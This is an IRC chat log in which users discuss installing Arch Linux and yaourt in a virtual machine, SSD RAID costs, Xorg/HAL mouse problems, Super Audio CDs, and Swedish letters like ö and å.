21:35:24 (so very easy to set up a Xen VM running Debian...) 21:35:30 I ran into some issue about pacman complaining that it couldn't upgrade bash because "/usr/share/man/man1/bash.1.gz already exists". I haven't seen that bug for months though 21:35:48 iirc they fixed it 21:36:27 ehird, I guess you will get the occasional issue with arch. since it is so bleeding edge usually. 21:36:43 I like bleeding edge. 21:36:46 usually easy enough to fix, and the irc channel is very friendly and helpful 21:36:50 I mean, I'm using ext4 for everything but /boot! 21:36:58 It was just declared stable in... december? 21:36:59 fair enough 21:37:18 Yay, the "AUR" thing has virtualbox-additions as a package. 21:37:35 ehird, I was thinking more about "gcc 4.3.3 in stable less than a week after it was released" 21:37:47 ehird, tip for AUR: use yauort 21:37:50 AnMaster: I think gcc releases are generally conservative in themselves 21:37:51 yaourt* 21:37:56 Catchy name. 21:38:01 Deewiant, I love tab complete :P 21:38:03 Oops, forgot to change hostname. 21:38:05 -!- MigoMipo has quit (Nick collision from services.). 21:38:11 ehird, ? 21:38:15 on the vm 21:38:17 Okay: change hostname, add user account, install sudo, passwd -l root. 21:38:19 oh 21:38:46 augh. What happened to man passwd 21:38:58 Magick. 21:38:59 oh locale issues 21:39:02 -_- 21:39:08 passwd - ändra användarlösenord 21:39:09 funny 21:39:19 no idea why I have the man page in Swedish at all... 21:39:38 pacman -Sy sudo, la la la la la 21:39:46 iwonder how safe it is raid0 ssds 21:39:57 ok now I changed things in a different way 21:40:01 and this is even crasier 21:40:04 crazier* 21:40:05 passwd - Axndra anvAxndarlA9|senord 21:40:13 I have no idea how that could happen 21:40:14 bsmntbombdood: It should be fine. You considering it? I'd just buy the $600 160GB one if so; it'll be cheaper overall probably 21:40:22 Also, it's not as if OS drives need an awful lot. 21:40:35 it should say: "passwd - Ändra användarlösenord" 21:40:54 or better, in English 21:40:56 ehird: just curios 21:41:07 and two raid0 drives are faster than 1 big one... 21:41:24 bsmntbombdood: I highly doubt it would be possible to notice the difference with an SSD> 21:41:28 s/>$/./ 21:41:30 bsmntbombdood: No seeking. 21:41:33 heh 21:41:38 there is a matching command to su 21:41:40 for group 21:41:44 strange 21:41:45 sg 21:41:45 sg 21:41:47 indeed 21:41:48 haha 21:41:50 ehird: read/write bandwidth is doubled 21:41:53 ehird, I just never noticed it before! 21:41:59 you don't use it a lot 21:42:09 of course I know about sgid binaries, like nethack 21:42:10 bsmntbombdood: it'd probably end up more or less unnoticable for the cost 21:42:14 -!- puzzlet_ has quit (Read error: 60 (Operation timed out)). 21:42:24 nethack is setgid? 21:42:25 why? 21:42:31 scoreboard files? 21:42:36 yes 21:42:36 YES 21:42:38 heh 21:42:41 sgid games 21:42:48 hmm 21:42:51 yaourt isn't in arch :-D 21:42:58 I guess I have to do what it does manually to get it 21:43:00 ehird, it is in AUR 21:43:25 ehird, so what you do is, get that manually and build it, then use yaourt for all future AUR package installs 21:43:29 yeah 21:43:31 including updating yaourt 21:43:41 I'll need base-devel won't I 21:43:59 don't remember what language yaourt is in 21:44:01 but 21:44:04 mm 21:44:06 you need makepkg binary 21:44:07 might as well do it 21:44:09 ehird: http://hothardware.com/News/Intel-SSDs-RAID-0-A-Case-Study-In-Speed-Take-2/ 21:44:11 year 21:44:14 *yeah 21:44:17 ehird, it is rather simple to build it anyway 21:44:27 as normal user create a directory 21:44:27 -!- puzzlet has joined. 21:44:31 cd into said directory 21:44:45 wget or otherwise download the PKGBUILD and any other patch files listed at the AUR web page for it 21:44:48 then makepkg -c 21:44:50 bsmntbombdood: The question is whether it is noticable in 90% of regular usage cases 21:44:55 *noticeable 21:45:02 ehird: who cares, it's fast as shit 21:45:16 bsmntbombdood: So's our $80k system 21:45:19 ehird, you will have a *i686.tar.gz (replace i686 with x86_64 or such if that is what you use) 21:45:28 I'm reading the wiki for it AnMaster 21:45:30 *wiki page 21:45:30 then you do sudo pacman -U thispackagefile 21:45:38 where that is that tar.gz 21:45:41 ehird, good :) 21:45:55 You don't even need to install it the first time? 21:45:59 Just ask it to install itself 21:46:05 Deewiant, I didn't know that 21:46:10 All you need to do is get the binary working 21:46:13 http://wiki.archlinux.org/index.php/Yaourt 21:46:15 Two ways 21:46:20 Easy way is to install it via pacman 21:46:28 But meh @ that 21:46:41 I recommend archlinuxfr 21:46:45 Do you? 21:46:45 Why. 21:46:51 It's easiest. 21:47:01 ... it's just a few commands to install yaourt 21:47:20 And it's a one-time thing; no sense cluttering the repo list 21:47:23 of course, installing a package from source on gentoo is *even* easier 21:47:23 :P 21:47:31 AUR updates are more painful than non-AUR. 21:47:39 bsmntbombdood: If you really have the cash, RAID 0 some of the X25-*E*s. 21:47:39 Deewiant, that's true 21:47:41 Deewiant: Bah, fine. 21:47:47 bsmntbombdood: That'll be superfast. 21:47:51 duh 21:48:04 If you really have the cash, we speced a $80,000 machine. 21:48:06 :D 21:48:13 a completely useless machine 21:48:31 pikhq, can I see the full component list of it please 21:48:32 It's useful for regular computing tasks as well as the crazy shit :P 21:48:39 AnMaster: No, but I can give you one. 21:48:39 Probably far better to get 4 $20,000 machines or, I dunno, 80 $1,000 machines. 21:48:51 ehird, err? 21:49:04 AnMaster: Here: 21:49:08 AnMaster: http://pastie.org/472570.txt?key=gzff3jen8qjjkn1gx7brlg 21:49:12 native language joke detected 21:49:16 Doesn't include a power supply or case or well a lot of things 21:49:16 and no 21:49:17 not a joke 21:49:20 But that's how far we got 21:49:27 Then we got bored since it was trivial to spill money on the rest 21:49:29 you didn't finish it? 21:49:32 nope 21:49:34 see last line 21:49:41 Deewiant: What does archlinuxfr contain apart from yaourt, then? 21:49:42 300GB VelociRaptor ($229.99) x 58 = $13,339.42 21:49:46 Got bored. 21:49:49 didn't you go SSD? 21:49:54 AnMaster: yes, but that came to $44k 21:49:57 and we decided it was stupid 21:49:59 ehird: I don't know how to query Pacman for that. I'm fairly sure I've got something else from it, too. 21:50:01 since you can grow pretty much unbounded with them 21:50:15 Deewiant: so how are AUR upgrades harder? 21:50:16 ehird, you can grow unbounded with disks too 21:50:18 ehird: Though we'd need a less beefy PSU for them. 21:50:28 Which would actually matter with such a system. 21:50:28 ;( 21:50:29 ;) 21:50:32 AnMaster: yes, but we just scaled down so it wasn't so much cheating 21:50:49 the case isn't there 21:50:55 nor is the power supply 21:50:58 oh 21:50:58 we. got. bored. 21:51:00 :P 21:51:01 ehird: For one thing, each AUR package is update-checked separately, instead of just checking a database timestamp (or hash? Not sure how it works) 21:51:01 We could in principle have infinite storage, daisy-chaining external SAS RAID units. 21:51:01 right 21:51:12 pikhq: yeah, exactly 21:51:14 although the latency would suck 21:51:21 but you can easily spend 5 gajillion dollars in storage 21:51:23 It would be horrendous. 21:51:27 it's harder to spend it on, say, CPUs 21:51:27 We could in principle have infinite storage, daisy-chaining external SAS RAID units. 21:51:27 But you could do it. 21:51:29 oooooh 21:51:32 and graphics cards 21:51:36 And get several exabytes. 21:51:43 UTM here I come! 21:51:47 pikhq: How to run a turing machine: Daisy chain them as you go. 21:51:54 ehird: :D 21:51:54 (in principle!) 21:51:59 The latency is so low that they'll have time to come in tomorrow and do it at their leisure. 21:52:01 Err 21:52:02 so high 21:52:06 ehird, I said that two seconds before! 21:52:09 (on this side) 21:52:12 LMAO 21:52:13 AnMaster: I thought of it before, though 21:52:17 but I wasn't at the keyboard 21:52:18 ehird, hard to know 21:52:32 AnMaster: about 3-4s brain-to-start-typing latency there 21:52:55 but I was thinking of it as soon as pikhq mentioned it. " We could in principle have infinite storage, daisy-chaining external SAS RAID units." 21:53:21 but that is completely pointless 21:53:28 ... 21:53:29 what 21:53:46 bus bandwidth and that 21:54:04 "error: could not register 'archlinuxfr' database (unexpected system error)" ← pretty cryptic error for "you didn't run me as root" 21:54:06 bsmntbombdood, read the context kay? 21:54:12 So, I'm now imagining a freaking massive data center, filled with nothing but disks and a single system, hooked up to it via 8 SAS cables. 21:54:14 AnMaster: How ironic 21:54:16 don't put more than 10tb/server 21:54:17 ehird, indeed. 21:54:21 and indeed again 21:54:23 ehird: yaourt uses sudo automatically. 21:54:29 Deewiant: EWWWWWWWWWWWWWWWWW 21:54:30 EWWWWWWWWWWWWWWWWWWW 21:54:30 bsmntbombdood: We realise this. 21:54:32 EEEEEEEEEEEEEWWWWWWWWWWWWWWWWWWWWWWWWWWWWW 21:54:34 ehird, um what 21:54:36 Deewiant: MAKE IT STOP!! 21:54:37 ehird: Or su, not sure which. 21:54:41 AnMaster: Automatically sudoing is the devil. 21:54:42 Deewiant, sudo 21:54:44 bsmntbombdood: We're joking about means to create a UTM, man. 21:54:44 ;) 21:54:51 ehird, it tells you in advance iirc 21:54:53 I think I read somewhere that it actually tries both. 21:54:58 sigh 21:55:00 Eeew. 21:55:04 ehird, it is very clear with what it does 21:55:14 It just shouldn't. 21:55:21 ehird, then it wouldn't work 21:55:27 since you shouldn't build packages as root 21:55:33 ... what? 21:55:37 Whyever not? 21:55:47 ehird, building as normal user is recommended 21:55:47 It's exactly what I intend to do. 21:55:51 o_O Why? 21:55:53 then installing as root 21:55:57 ehird, search me 21:56:02 ehird: Malicious PKGBUILDs. 21:56:03 it uses fakeroot anyway 21:56:08 so there is no obvious reason 21:56:12 Deewiant: Oh, so I only use all my home. Awesome. 21:56:18 Deewiant, but makepkg uses fakeroot! 21:56:20 It's not like all my valuable data is on there or anything. 21:56:25 I don't know anything about fakeroot. 21:56:32 I'm just going to use it as root. 21:56:38 Pretends to be root. 21:56:39 anyway IMO it should just su to a temp user 21:56:47 ehird, don't you agree? 21:56:52 Maybe. 21:56:52 Fails if it does anything actually unsafe. 21:56:55 Wow. 21:57:00 Yaourt is written in Bash. 21:57:06 like it internally does "su - package-builder" 21:57:08 or such 21:57:09 I ran "yaourt" and I watched each line of help scroll by individually, one by one. 21:57:13 That's how slow it is :-) 21:57:13 And I thought Portage was bad. 21:57:14 aha 21:57:16 ehird, it was fast for me 21:57:25 (Portage is written in Python, with attempts to rewrite it in C) 21:57:28 pikhq, um... portage does change to a different user. 21:57:31 "Runing [sic] yaourt as a non-privileged user requiers[sic] some entries in sudoers file:" 21:57:41 ehird, hey they were french! 21:57:41 AnMaster: I was describing how fakeroot works. 21:57:43 (tells you how to make pacman be sudoable by everyone, pretty much) 21:57:46 time yaourt --help >/dev/null -> 0.13user 0.38system 21:57:48 So by default it doesn't do that 21:57:56 Not what Portage does for its sandboxing. 21:57:59 Deewiant: VM, yo. 21:58:01 -!- BeholdMyGlory has quit (Remote closed the connection). 21:58:03 Deewiant, similar results on my P3 even 21:58:14 so ehird's computer suck badly we see, 21:58:15 ;P 21:58:18 My point was that that is a long time. 21:58:21 Yeah. My virtual computer sucks. 21:58:22 0.4 seconds to output a string? 21:58:24 pikhq, portage sandboxes in two ways 21:58:27 Deewiant: Jeeze. 21:58:32 pikhq, 1) change to different user 21:58:35 2) LD_PRELOAD 21:58:40 hmm, is there a command that decides between yaourt and pacman automagically? 21:58:40 just to be extra secure 21:58:49 AnMaster: should just do as macports: chroot 21:58:57 Basically. 21:59:15 ehird, well you could write a module to do that I think 21:59:26 Deewiant: Uh... Portage isn't much better. 21:59:28 you put the base libraries and all the packages' dependencies into a build directory, chroot in, su to low-powered user that still has rights to the whole chroot, build & install package 21:59:29 ehird, however that needs to mirror stuff in the chroot 21:59:31 sudo emerge --help 1.29s user 0.16s system 98% cpu 1.463 total 21:59:33 go out of chroot, copy files over 21:59:49 pikhq: I was not comparing to Portage. 21:59:57 * pikhq knows 22:00:04 * pikhq was 22:00:12 * pikhq was curious 22:00:14 21:58 ehird: hmm, is there a command that decides between yaourt and pacman automagically? 22:00:16 * pikhq uses /me 22:00:19 * pikhq ! 22:00:23 # time pmerge --help &>/dev/null 22:00:23 real 0m0.187s 22:00:23 user 0m0.148s 22:00:23 sys 0m0.034s 22:00:24 ;P 22:00:26 sudo pacman -S xorg 22:00:28 pkgcore for the win! 22:00:31 \o/ 22:00:36 ldc --help-hidden is over three times as long, and outputs in 0.00 seconds. 22:00:41 21:58 ehird: hmm, is there a command that decides between yaourt and pacman automagically? 22:00:56 ehird, you mean like install deps for AUR packages when needed from the normal repos? 22:01:02 yes yaourt can do that 22:01:08 AnMaster: that too, but also, 'foo -S packagethatsinmainrepo' 22:01:09 and also 22:01:13 'foo -S packgeinaur' 22:01:13 -!- KingOfKarlsruhe has joined. 22:01:14 both work 22:01:20 ehird: yaourt has a pacman-compatible interface. 22:01:23 ehird, again yaourt can already do that 22:01:24 With some additions. 22:01:34 More like slowterface. 22:01:45 So why isn't yaourt the official pacman? 22:01:45 The only thing I've found that pacman can do that yaourt can't is output a help string for a specific command. 22:01:48 ehird, what in "interface" implies fast. 22:02:12 ehird, interface is something slow. Like 200 baud serial. 22:02:13 :P 22:02:21 (as well) 22:02:39 "I think the big peaks and valleys are a result of high erase/re-write latency of MLC flash. You don't see that with SLC actually." 22:02:41 I wonder if that's true. 22:02:44 It's not what Anand told me :P 22:02:57 ehird, Anand? Nand? andand? 22:03:04 Anand. anandtech.com 22:03:13 * AnMaster tries to figure out what logical operation anand would be 22:03:17 like a nand + and? 22:03:19 An and, obviously. 22:03:26 see wut i did thur 22:03:40 MEME WARNING? 22:03:49 Nope. 22:03:50 Anand 22:03:51 An and 22:03:53 yes 22:03:54 but 22:03:58 " see wut i did thur" 22:04:02 that has meme warning? 22:04:02 That's not a meme. 22:04:05 That's just a cheesy phrase. 22:04:06 oh ok 22:04:11 -!- Sgeo has joined. 22:04:14 ehird, Cheddar? 22:04:25 See what I did cheddar? 22:04:28 No, that doesn't work. 22:04:40 ehird, true, cheddar is too dry I guess. 22:05:04 and I don't know the *English* names of other cheeses 22:05:08 mostly 22:05:27 bbiab 22:05:28 Not even American "cheese"? 22:05:38 American sleaze. 22:06:02 -!- nooga has joined. 22:06:04 hyh 22:06:11 idiotic problem 22:07:42 You know what creeps me out? Seeing CPUs. Too fucking small parts, dammit! 22:10:13 WTF? I have no /etc/X11/xorg.conf 22:11:34 brb 22:11:44 mmmm garlic 22:12:12 -!- oklopol has quit (Read error: 104 (Connection reset by peer)). 22:12:19 ehird, latest X11 doesn't need it 22:12:25 auto config stuff 22:12:27 -!- oklopol has joined. 22:12:40 anyway: strongly garlic flavoured bread + butter + cheddar 22:12:41 :D 22:12:44 ehird, agree? 22:12:51 I take that silence as a yes 22:14:03 How's about blackjack and hookers with that? Y'know what, screw the bread. And the blackjack! 22:15:11 "" <-- heuristics detected popular culture reference but not found in database. 22:15:12 -!- oklopol has quit (Read error: 104 (Connection reset by peer)). 22:15:25 -!- oklopol has joined. 22:15:26 Futurama. 22:15:33 aha 22:16:21 Another one of those shows that Fox thought "Oh, it's good! Cancel it!" 22:16:28 pikhq, what does the game blackjack have to do with it. 22:16:46 AnMaster: Quoting Bender. 22:16:51 true 22:16:57 Well, channeling, rather. 22:16:59 but what was the original context for it 22:17:14 Bender likes gambling. 22:17:18 ah 22:17:19 That's about it. 22:17:23 AnMaster: Consider reading curl -I slashdot.org on occasion. 22:17:23 what do you mean "channeling"? 22:17:34 It's not quite a quote. 22:17:43 Deewiant, what does -I do? 22:17:46 He never said anything about bread, specifically. ;) 22:17:53 AnMaster: Consider reading curl --help. 22:17:53 pikhq, true 22:18:06 (from what google tells me) 22:18:13 (when googling for the exact phrase) 22:18:32 -I/--head Show document info only 22:18:33 oh 22:18:42 Deewiant, right that one is old 22:18:50 X-Fry: Sweet justice! Sweet, juicy justice! 22:18:55 I have seen other ones for other clients 22:19:09 It doesn't depend on client, it varies by timestamp. 22:19:15 I think it changes every minute or something. 22:19:27 Deewiant, more than that 22:19:30 In any case, if you know of it, haven't you ever seen 'X-Bender'? 22:19:36 every single request 22:19:42 Deewiant, not that I remember 22:19:52 -!- puzzlet has quit (Remote closed the connection). 22:19:56 -!- puzzlet has joined. 22:20:02 Do it a couple of times, then, until you do, and you will have. 22:20:03 Deewiant, I knew they did strange things in their headers. But I never really cared about it 22:20:12 X-Bender: Nothing like a warm fire and a super-soaker of fine cognac. 22:20:14 ok 22:20:15 Hmm? 22:20:16 It's not a "strange thing". 22:20:37 They just serve up random Futurama quotes in X-. 22:20:41 X-Fry: That doesn't look like an "L", unless you count lower case. 22:20:45 that is futurama too? 22:20:46 Who does? 22:20:51 pikhq: /. 22:20:52 I never watched futurama 22:20:53 AnMaster: Yeah. 22:20:57 Deewiant: Ah. 22:21:07 AnMaster: You should; it's brilliant. 22:21:09 Deewiant, rebus time? 22:21:19 I didn't think it was that brilliant, actually. It was OK. 22:21:24 pikhq, well maybe, I don't have a tv currently 22:21:31 haven't had for over a year 22:21:40 Not currently aired. 22:21:42 nor a TV card 22:21:46 So, TV won't help. 22:21:50 pikhq, I don't do pirate copies. 22:21:55 BitTorrent or DVDs. 22:22:04 No love for VHS? 22:22:17 Deewiant, actually I still have a VHS player somewhere. Just no TV 22:22:21 to use it with 22:22:48 Hrm. Actually, Comedy Central recently started a new season. So, never mind. 22:22:57 this VHS player is so old it has a *wired* remote 22:23:02 as in a cable for the remote :D 22:23:15 (it's from the 1980s iirc) 22:24:06 yay 22:24:10 newegg shipped my stuff 22:24:58 pikhq, anyway buying the DVD would require me to figure out how to use a non-data dvd in my computer 22:25:06 I guess mplayer could handle it 22:25:14 It's a matter of putting it in the drive and pointing a player at it. 22:25:30 Deewiant, but mplayer has arcane syntax for doing that sort of stuff 22:25:37 like mplayer cdda://1-2 22:25:42 or whatever it was for cd 22:25:42 Then use a GUI. 22:25:51 I prefer smplayer myself. 22:25:57 Deewiant, xine is messy. kmplayer is confusing. 22:25:58 22:12 AnMaster: ehird, latest X11 doesn't need it 22:25:58 22:12 AnMaster: auto config stuff 22:25:59 what 22:26:05 ehird, yes. it uses hal and dbus 22:26:12 I think he's right, X11 no longer needs a conf 22:26:19 You can still make one, of course. 22:26:21 yes 22:27:10 Well, that's nice. 22:27:18 I still use the config because 1) I already have a working one and I don't see a point in learning a different system 2) X auto config by hal had issues with my joystick before. 22:27:38 AnMaster: It's easy to do with mplay. 22:27:42 mplayer dvd:// 22:27:43 issues == refused to let me use it for anything 22:27:44 mplayer, rather. 22:28:07 * AnMaster wants to use axis 8 and 9 for mouse in X, and button 27 for click in X. The rest is left to the flight sim 22:28:17 that works just fine with the good old joystick driver in X 22:28:45 wait 22:28:49 axis 10 and 11 22:28:51 not 8 and 9 22:29:07 8 and 9 are... uh, the two wheels on the throttle I think 22:29:27 too many axises (axes?) to remember 22:29:40 have it in the config for the flightsim :) 22:30:52 wth is "Super Audio CD"? 22:31:02 * AnMaster googles 22:31:27 anyway I saw some crazy cds recently. You know those old mini-format cds? 22:31:36 I think they were discussed in here recently 22:31:54 while mentioning that they broke slot-style cd drives 22:32:06 anyway I saw one just last week 22:32:11 This autoconfig thing is so awesome that it doesn't let me move my mouse. 22:32:14 A SACD is not a CD. 22:32:17 How do I make it generate a skeleton xorg.conf? 22:33:00 It is physically a DVD, IIRC. 22:33:11 pikhq, really? I saw this phrase oh the cover of a music cd: "OBS! Denna Super Audio CD går även att spela på en vanlig CD-spelare." <-- "Observe! This Super Audio CD can also be played on a normal CD player" 22:33:26 * AnMaster wonders how that works then 22:33:52 "Hybrid: The most popular of the three types, hybrid discs include a "Red Book" layer compatible with most legacy Compact Disc players, dubbed the "CD layer," and a 4.7 GB SACD layer, dubbed the "HD layer." It is not uncommon for hybrid discs to carry the "Compact Disc Digital Audio" logo to show that the disc is CDDA-compliant."' 22:33:57 That's clever. 22:34:05 heh 22:34:07 nice 22:34:28 can a DVD player in a computer play the super audio layer in it? 22:34:37 Note that there is absolutely no Linux support for SACD. 22:34:41 damn 22:34:44 With software support, yes. 22:34:45 Deewiant: would you happen to know? 22:34:54 pikhq, really sure? 22:34:56 Software support is rare. 22:35:18 (and SACD uses 96 kHz to 192 kHz audio; most sound cards can't handle it) 22:35:18 Really sure. 22:35:22 ehird: xorgconfig, or whatever it's called? 22:35:33 pikhq, wouldn't it need a different laser type? 22:35:41 Alternatively, google for one 22:35:54 AnMaster: As said, the SACD layer is physically a DVD. 22:35:59 aha 22:36:19 But it doesn't seem to use PCM sound at all; it's a one-bit delta-sigma encoding thing with 2822.4 kHz sampling rate. 22:36:39 SACD is DRM'd, and it has yet to be cracked. 22:36:42 I highly doubt humans can distinguish better sampling than a CD. 22:36:43 aha 22:36:48 ehird, agreed 22:37:04 ehird, I was just interested in the music on it. that was all 22:37:08 mm 22:37:08 ehird: In some cases, humans can distinguish 48 kHz. 22:37:12 cd quality is good enough for me 22:37:16 But *that* is soley because of poor ADCs. 22:37:24 ADCs? 22:37:30 Erm. DAC. 22:37:32 Analog Digital converter? 22:37:34 aha 22:37:39 pikhq, that makes more sense 22:37:41 Heck... Most people can't distinguish 128kbps MP3s from CD quality. 22:37:43 Yes, that includes you 22:37:57 ehird: I can. 22:38:05 Infallopedia says that SACD's quality is comparable to a 20-bit PCM format and a 192 kHz sampling rate. Though it's not exactly the same thing. 22:38:08 Heck... Most people can't distinguish 128kbps MP3s from CD quality. <-- Depends on what music. For some types of music the difference is more noticable 22:38:10 pikhq: Show the double-blind ABX test results, please. 22:38:11 192 kbps MP3s are quite a bit more difficult to distinguish, though. 22:38:18 pikhq: Otherwise you're talking shit. 22:38:30 ehird: You first. 22:38:31 ;p 22:38:35 fizzie, "Your search - Infallopedia - did not match any documents." 22:38:38 pikhq: I fully admit I cannot distinguish them. 22:38:43 AnMaster: it was a portmaneuver 22:38:44 I guess you meant wikipedia 22:38:49 ehird, yes 22:38:59 I wasn't sure if it was an existing joke of wikipedia 22:39:04 AnMaster: Yes; it's the only infallible thing around here. 22:39:04 like uncyclopedia 22:39:15 or just a nick for wikipedia 22:39:16 Curious that it's not a term that's in use. 22:39:19 I seem to have no xorgconfig. 22:39:21 Maybe it's in sbin. 22:39:29 ehird, why do you want it 22:39:31 Nope. 22:39:33 it auto configures 22:39:35 AnMaster: to generate a skeleton xorg.conf 22:39:35 ... 22:39:38 so I can modify it 22:39:39 ehird, you don't need it. 22:39:47 My mouse doesn't work, AnMaster. 22:39:48 ehird, you do it by editing HAL config 22:39:52 iirc 22:39:53 Okay. How? 22:39:59 I need to use the vboxmouse driver. 22:40:08 ehird, it uses evdev 22:40:13 hm 22:40:14 That's nice :-P 22:40:16 with a different driver 22:40:16 Hmm 22:40:19 it might be hard 22:40:25 anyway: don't ask me. I compiled xorg without hal support 22:40:32 I'd be fine with evdev if I could use the mouse 22:40:36 becuase I hate hal. With a passion. 22:40:45 I love hal. 22:40:47 ehird, it wouldn't allow the nice integration thingy 22:40:53 ehird, why 22:40:54 on 22:40:54 It's so workitude. 22:40:55 earth 22:41:06 "workitude"...? 22:41:18 AnMaster: (1) I don't care about the integration thingy (2) Because it's never broken for me, ever, and it means I do a lot less configuring. 22:41:52 ehird, why do you want "vboxmouse" if you don't want the integration bit 22:41:58 -!- okloduk has joined. 22:41:59 hm 22:42:00 Hmm, I just got spam with the title "Stop sendingme this crap". 22:42:02 AnMaster: Because I Cannot Move My Mouse. 22:42:04 ehird, does lsusb show your mouse? 22:42:07 It just stays there. 22:42:14 And no, just two root hubs. 22:42:15 I wonder if spam senders take titles from messages they receive? 22:42:16 or is it PS/2? 22:42:22 ok PS/2 I guess hm 22:42:22 It's virtual. I don't know 22:42:33 ehird, well it has to fake it to the guest *somehow* 22:42:33 Should I dmesg? 22:42:42 ehird, no. Try gpm instead 22:42:46 yep 22:42:47 ehird, or even better 22:42:47 PS/2 mouse 22:42:53 from dmesg|grep -i ps/2 22:43:11 [ 8.075700] PNP: PS/2 Controller [PNP0303:PS2K] at 0x60,0x64 irq 1 22:43:11 [ 8.093979] PNP: PS/2 appears to have AUX port disabled, if this is incorrect please boot with i8042.nopnp 22:43:11 [ 8.132103] mice: PS/2 mouse device common for all mice 22:43:13 like that? 22:43:25 yes, but also: 22:43:29 (I don't have a PS/2 mouse, I do have a PS/2 keyboard though) 22:43:45 psmouse serio1: ID: 10 00 64<6>input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input5 22:43:50 ah 22:43:50 I typed that out by hand :P 22:44:20 ehird, try #xorg 22:44:24 they deserve it 22:44:37 What did they ever do to you? 22:44:47 ehird, begin using HAL for auto config dammit! 22:44:53 that is what they did 22:44:58 I like that! 22:45:00 Fuck xorg.conf. 22:45:01 traitors to true UNIX-kind 22:45:09 Er... HAL is more unix than the old system. 22:45:16 Do one thing, do it well, use it everywhere. 22:45:27 ehird, traitors to true-"what UNIX was in practice"-kind 22:45:29 then 22:45:37 or 22:45:38 It's not UNIXy in any form. 22:45:53 traitors to true-ICCCP-kind? 22:45:58 (spelling?) 22:46:08 what 22:46:14 Woot, signed up for a Scheme course. 22:46:26 Deewiant: Have you read your SICP today? 22:46:29 oh 22:46:30 Nope. 22:46:31 Deewiant: Maybe I should do it too. 22:46:36 ICCC-kind 22:46:38 is what I meant 22:46:53 Deewiant: Read SICP 22:47:00 AnMaster: International Christian Chamber of Commerce? 22:47:00 Deewiant: The IRC channel they mention is kind of quiet. 22:47:02 ehird: It's the course book, so I might, partly. 22:47:07 nter- Client Communications Conventions 22:47:09 err 22:47:11 Inter- Client Communications Conventions 22:47:12 Deewiant: *insert /prog/snake* 22:47:13 of course 22:47:14 Only chapters 3-5 for the course, though. 22:47:17 fizzie: I've been meaning to learn a Lisp anyway, so I figured I might as well do it thus. :-) 22:47:27 Oh? 22:47:36 Well read 1-2 then! 22:47:38 You can never have enough 22:47:39 >>SICP<<. 22:47:40 ehird, it must have been mentioned in that "unix haters handbook" you love to refer to 22:48:00 AnMaster: I'm pretty sure UNIX-HATERS would be aligned with a HAL-like system more than duplicate, incompatible configurations 22:48:15 Deewiant: "the material to read for the exam are the chapters 3-5 of SICP"; I guess chapters 1+2 could be relevant for the homeworks, though. 22:48:17 ehird, only if HAL worked 22:48:26 the old system works better in practise 22:48:30 AnMaster: that's called bugs, not design deficiencies. And it works for me. 22:48:31 Deewiant: I did the old Scheme course, but this one seems to be the Extended Edition. 22:48:36 "You can bring the coursebook to the exam." 22:48:40 Ho-ho 22:48:43 ehird, so you can move your mouse now? 22:48:44 great 22:48:54 But then, SICP isn't very useful in that sense, I guess, so it makes sense. 22:49:08 AnMaster: In case you haven't realised, VMs are not the typical use case of Linux. 22:49:16 Besides, it'll just be flicking a switch somewhere 22:49:26 ehird, I have no idea where 22:49:28 -!- okloduk has quit (Read error: 60 (Operation timed out)). 22:50:27 Can xorg deal with a partial xorg.conf? 22:50:30 i.e., just specifying one thing? 22:50:53 I don't see why not 22:51:12 ehird, unknown 22:51:22 "procedural abstraction, data abstraction, functional programming, concurrency, streams and lazy evaluation, programming language interpreters, logic programming, register machines and machine language programming"; that's a rather wide-ranging list; though it's pretty directly from the book. 22:51:31 ehird, but you need to turn off HAL to define any input devices at all iirc 22:51:34 it is all or nothing 22:51:40 or maybe you can tell HAL to ignore the mouse 22:51:42 Now THAT is stupid. 22:52:01 I'm pretty sure you can tell HAL to ignore the mouse. 22:52:21 ehird, read (short) http://www.gentoo.org/proj/en/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml 22:52:32 it describes the differences to between classical and HAL 22:54:21 Alas, my keyboard is dead too, it seems. 22:55:09 ehird, I only had troubles with HAL. 22:55:35 I've had no troubles with HAL. 22:55:44 Ditto. Apart from this minor VM-related one. 22:56:08 ehird, I would call "keyboard and mouse not working" rather "major" 22:56:21 ... in Yet Another Virtual Machine. 22:56:26 Not very major 22:58:15 minix ftw 22:58:30 it's smaller than my unix flavoured kernel 22:58:43 -!- okloduk has joined. 22:58:44 and does something... unlike mine kernel ;p 22:59:10 i've got stupid problem 23:00:30 i'm writing SADOL editor, which should highlight parameters called by function under cursor 23:00:59 but i've got problem finding proper AST node using cursor coordinates 23:01:57 * AnMaster so loves when non-Swedish websites misses åäö when mentioning Swedish things resulting in hilarious results 23:02:12 Resulting in results 23:02:12 -!- M0ny has quit ("When you get sad stop being sad and be awesome instead."). 23:02:30 insulting re insults 23:02:48 -!- oklopol has quit (Connection timed out). 23:03:10 like a piece of music called "Förklädd gud" (translation: God in Disguise) was written as "Forkladd gud" meaning something like "traveled grease god" 23:03:26 though the latter is gramatically incorrect. 23:03:28 :-D 23:03:47 beh 23:03:49 kladd isn't grease really hm. grease is "kladdig" though 23:04:00 kladd is more like sticky/greasy/messy 23:04:22 -!- oklopol has joined. 23:04:25 syrup is "kladdig" too 23:04:28 as an example 23:04:35 well anyway the result was hilarious 23:04:53 -!- GregorR has changed nick to TraveledGreaseGo. 23:05:00 :( 23:05:05 btw, ehird, can you at least support bayes becoming active so it doesn't get deregistered?> 23:05:11 -!- TraveledGreaseGo has changed nick to TravelGreaseGod. 23:05:26 maybe 23:05:31 it'd mess with quorum. 23:05:39 good thing 23:05:45 for you maybe 23:05:59 wow another one in same site: "öron" (translation: ears) was changed to "oron" (translation: the worry) 23:06:02 ehird, ^ 23:06:15 oron öron 23:06:17 the worry of ears 23:06:20 -!- jix has quit ("leaving"). 23:06:28 ehird, err 23:06:32 almost 23:06:36 superkabel ;D 23:06:38 "oron över öron" 23:06:43 would be that 23:06:52 moron over moron? 23:06:54 pah 23:06:59 över meaning over, that being the correct preposition to use in there in Swedish 23:07:21 even latin has such a phenomenon in only a few cases 23:07:32 comex, what phenomenon? 23:08:40 comex, ö is not o with dots in Swedish. The difference is as large as between v and w or, a and e in English 23:08:49 if that is what you meant 23:09:00 it is a completely different letter in the alphabet 23:09:12 pronounced completely differently 23:09:50 http://en.wikipedia.org/wiki/Ö 23:09:51 I see 23:09:59 http://en.wikipedia.org/wiki/Ö#Letter_.C3.96_in_Scandinavian_languages to be specific 23:10:14 comex, the same is true for a vs å and a vs ä 23:10:23 they are three totally different letters 23:10:27 with totally different sounds 23:10:51 what sounds? 23:10:54 http://en.wikipedia.org/wiki/Å#Scandinavian_languages 23:11:15 The short version represents IPA /ɔ/. 